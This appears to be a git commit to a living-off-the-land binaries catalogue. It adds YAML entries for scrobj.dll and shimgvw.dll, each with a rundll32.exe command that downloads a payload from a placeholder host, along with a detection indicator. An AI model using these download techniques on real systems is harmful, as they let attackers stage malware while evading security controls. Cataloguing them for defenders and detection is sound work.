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Adding scrobj.dll, shimgvw.dll INetCache downloader entries (#189)
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Co-authored-by: Wietze <[email protected]>
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eral4m and wietze authored Aug 5, 2023
1 parent 6500729 commit e4c2371
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23 changes: 23 additions & 0 deletions yml/OSLibraries/Scrobj.yml
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---
Name: Scrobj.dll
Description: Windows Script Component Runtime
Author: Eral4m
Created: 2021-01-07
Commands:
- Command: rundll32.exe C:\Windows\System32\scrobj.dll,GenerateTypeLib http://x.x.x.x/payload.exe
Description: Once executed, rundll32.exe will download the file at the URL in the command to %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\<random>\payload[1].exe.
Usecase: Download file from remote location.
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
Full_Path:
- Path: c:\windows\system32\scrobj.dll
- Path: c:\windows\syswow64\scrobj.dll
Detection:
- IOC: Execution of rundll32.exe with 'GenerateTypeLib' and a protocol handler ('://') on the command line
Resources:
- Link: https://twitter.com/eral4m/status/1479106975967240209
Acknowledgement:
- Person: Eral4m
Handle: '@eral4m'
23 changes: 23 additions & 0 deletions yml/OSLibraries/Shimgvw.yml
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---
Name: Shimgvw.dll
Description: Photo Gallery Viewer
Author: Eral4m
Created: 2021-01-06
Commands:
- Command: rundll32.exe c:\Windows\System32\shimgvw.dll,ImageView_Fullscreen http://x.x.x.x/payload.exe
Description: Once executed, rundll32.exe will download the file at the URL in the command to %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\<random>\payload[1].exe. Can also be used with entrypoint 'ImageView_FullscreenA'.
Usecase: Download file from remote location.
Category: Download
Privileges: User
MitreID: T1105
OperatingSystem: Windows 10, Windows 11
Full_Path:
- Path: c:\windows\system32\shimgvw.dll
- Path: c:\windows\syswow64\shimgvw.dll
Detection:
- IOC: Execution of rundll32.exe with 'ImageView_Fullscreen' and a protocol handler ('://') on the command line
Resources:
- Link: https://twitter.com/eral4m/status/1479080793003671557
Acknowledgement:
- Person: Eral4m
Handle: '@eral4m'

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